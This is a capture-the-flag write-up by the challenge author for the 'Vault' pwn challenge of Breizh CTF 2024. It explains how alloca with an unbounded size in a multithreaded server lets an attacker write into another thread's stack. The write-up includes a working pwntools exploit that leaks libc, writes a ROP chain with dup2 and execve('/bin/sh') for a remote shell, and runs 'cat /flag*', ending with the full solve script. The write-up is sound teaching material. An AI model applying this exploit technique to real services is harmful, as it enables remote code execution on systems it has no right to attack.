Breizh CTF 2024 - Write-up Vault - Pwn

6 minute read

Here is the write-up of Vault challenge which I created for the Breizh CTF 2024. This is a Pwn challenge classified as difficult.

Description

I've created a server so I can temporarily store data without putting it on my disk - great idea, isn't it?

In any case, I'm sure there are no vulnerabilities!

Note: A VM vagrant is provided if your exploit works locally but not on the remote server for debugging purposes. If you have any trouble with it, call me.

Difficulty : Difficult

Reverse

For this challenges here the files given :

$ ls
ld-linux-x86-64.so.2  libc.so.6  Vagrantfile  vagrant_provision.sh  vault
$ checksec vault
[*] '/host/vault'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

First, remember to use pwninit to patch the binary file with the good loader and libc.

Fire up IDA and let’s reverse the binary.

This is a basic thread TCP server which run connection_handler for every connection.

There are two commands: create a vault and read it. The function create_temp_vault returns a pointer of the buffer and its content. There are no global variables, so it does not seem to contain some race condition vulnerabilities.

Here is the code for the create_temp_vault function:

This function asks for a buffer size combined with the atoi function and gets the result in 32 bits.

The output of the decompiler is a bit wrong if we check the assembly. It detects the use of the alloca function. alloca function is basically the sub rsp, rax instruction, where rax contains the size of the allocation. This is an allocation in the stack, not very common. Next there is a read call on the result of the alloca call (read content from the socket). So there is no buffer overflow. We could expect some integer overflow but the size is restricted to 32 bits so no vulnerability. A null byte is placed on the last characters read to be used with the print functionality of the program.

This null byte avoid basic leak of data. The read command applies a strlen call to the buffer and sends it with a send call.

Where is the vulnerability? Actually, there is no basic vulnerability. The thing to note here is the fact this is a multithread server. Why a multithread server for a pwn challenge if this binary could be exposed with socat for example? Because the program is only exploitable with threads. We could notice here that there is no limit on the size of the buffer. The limit is a 32-bit number. We could crash the binary because the stack is thread-specific with a big size. But could we abuse this to make the alloca function return on a address of the stack of the other thread ? The answer is yes!

This type of exploitation is described here : https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2023-A-3-Years-Tale-of-Hacking-a-Pwn2Own-Target.pdf which is a presentation of Orange Tsai during Hexacon 2023.

I will steal one of his slides because the schema is perfect:

The space between thread stacks is a fixed size, so we could base all our exploit on alloca sizes.

Leak libc

We know we need to play with other thread stacks, but first, how do we get a libc leak ? We know a null byte will be placed at the end of our input so the content of the buffer should be overwritten. We could use two threads for this. One thread is going to allocate the buffer, and the next thread is going to make calls (read option) to place addresses on his stack. The first thread is going to print content (which was overwritten by the read option), and a libc address will be leaked.

With gdb by placing a breakpoint after the second read call and observe the stack frame. We could see some calls to read put a libc address on the stack, it’s a perfect candidate for our leak. We only need to calculate the difference between this target address (aligned on 16 bits) and the address where the sub rsp occurs and the other thread. Here is the code snippet to do this:

t1 = conn() # upper stack address
t2 = conn() # lower stack address (Thread to be used for the leak)

io = t1
rsp_t1 = 0x00007ffff7d84da0
target_t2 = 0x00007ffff7583d50-16 # some read call address
create(rsp_t1-target_t2,b"A"*16)

time.sleep(1)
io = t2
create(40,b"AZE") # trigger stack frames creation

io = t1
leak = unpack(read()[8:].strip(),"all")
logleak("Leak libc",leak)
libc.address = leak - 0xf81c7

We get our libc leak !

Get a shell

Now, how to get a shell ? The schema is the same. We are going to have two threads, one thread which is our victim and a second which we will use to do to overwrite. What could we oubviously overwrite in the stack? Return address.

We are going to place a rop chain with this overwrite and return to it.

To choose the target stack frame to overwrite, we could use the simplest, the one of create_temp_vault. This is the easiest because we could use the read call to pause the thread, overwrite the function return address, and send data to continue the thread, which will return on our ROP.

For the ROP chain, we only have to use a dup2 call to duplicate stdout and stdin the file descriptor to the target thread file descriptor (the first for us). Then calls system("/bin/sh") and profit :).

Here is the code:

t3 = conn() # upper stack address
t4 = conn() # lower stack address (Thread to be used for the leak)

io = t4
rsp_t3 = 0x7ffff6d82dc0
target_t4 = 0x7ffff6581e00+16 # create_temp_vault return addr

sla(b": ",b"1")
sla(b"?\n",str(size).encode())

io = t3
rop = ROP([libc])

binsh = next(libc.search(b"/bin/sh\x00"))
ret = rop.find_gadget(['ret'])[0]
pop_rcx = rop.find_gadget(['pop rcx','ret'])[0]

rop.raw(ret)
rop.raw(ret)
rop.raw(ret)
rop.raw(pop_rcx) # bypass WTF broken addr in the stack
rop.raw(0xdead)
rop.dup2(4,0) # FD of the first thread
rop.dup2(4,1)
rop.execve(binsh,0,0)

#print(rop.dump())

pld = b"A"*8
#pld += b"BBBBBBBB"
pld += bytes(rop)

create(rsp_t3-target_t4,pld) # write ROP

time.sleep(2)
io = t4
sl(b"trigger") # trigger recv and return from function

io = t1 # get the shell with the first thread
#io.recvall(timeout=0.5)
time.sleep(1)
io.sendline(b"cat /flag*")
io.interactive()

Some addresses were overwritten so I used a gadget (pop rcx) to deny them. The exploit works:

Flag : BZHCTF{Thread_Feng_Shui_Like_An_Orange->https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2023-A-3-Years-Tale-of-Hacking-a-Pwn2Own-Target.pdf}

Full solve script

#!/usr/bin/env python3
from pwn import *
import time 
import sys

"""

"""

if len(sys.argv) < 3:
    print("Usage solve.py <host> <port>")
    exit(1)
_, host, port = sys.argv

context.terminal = ["tmux", "new-window"]
context.log_level = 'info'

exe = ELF("./vault")
libc = ELF("./libc.so.6")

context.binary = exe
io = None

def one_gadget(filename, base_addr=0):
  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l0', filename]).decode().split(' ')]
def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val): info(name+" = %#x" % val)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(delim): return io.recvuntil(delim)
def rcv(number): return io.recv(number)
def rcvl(): return io.recvline()

def conn():
    global io
    if args.REMOTE:
        io = remote("", )
    else:
        io = remote(host,int(port))
    return io

def create(size,buffer):
    sla(b": ",b"1")
    sla(b"?\n",str(size).encode())
    sl(buffer)

def read():
    sla(b": ",b"2")
    content = rcvl()
    return content

def exit_():
    sla(b": ",b"3")
 
t1 = conn() # upper stack address
t2 = conn() # lower stack address (Thread to be used for the leak)

io = t1
rsp_t1 = 0x00007ffff7d84da0
target_t2 = 0x00007ffff7583d50-16 # read call return address
create(rsp_t1-target_t2,b"A"*16)

time.sleep(1)
io = t2
create(40,b"AZE") # trigger stack frames creation

io = t1
leak = unpack(read()[8:].strip(),"all")
logleak("Leak libc",leak)
libc.address = leak - 0xf81c7
logbase()

t3 = conn() # upper stack address
t4 = conn() # lower stack address (Thread to be used for the leak)

io = t4
rsp_t3 = 0x7ffff6d82dc0
target_t4 = 0x7ffff6581e00+16 # create_temp_vault return addr

# sla(b": ",b"1")
# sla(b"?\n",str(size).encode())

io = t3
rop = ROP([libc])

binsh = next(libc.search(b"/bin/sh\x00"))
ret = rop.find_gadget(['ret'])[0]
pop_rcx = rop.find_gadget(['pop rcx','ret'])[0]

rop.raw(ret)
rop.raw(ret)
rop.raw(ret)
rop.raw(pop_rcx) # bypass WTF broken addr in the stack
rop.raw(0xdead)
rop.dup2(4,0) # FD of the first thread
rop.dup2(4,1)
rop.execve(binsh,0,0)

#print(rop.dump())

pld = b"A"*8
#pld += b"BBBBBBBB"
pld += bytes(rop)

create(rsp_t3-target_t4,pld) # write ROP

time.sleep(2)
io = t4
sl(b"trigger") # trigger recv and return from function

io = t1 # get the shell with the first thread
#io.recvall(timeout=0.5)
time.sleep(1)
io.sendline(b"cat /flag*")
io.interactive()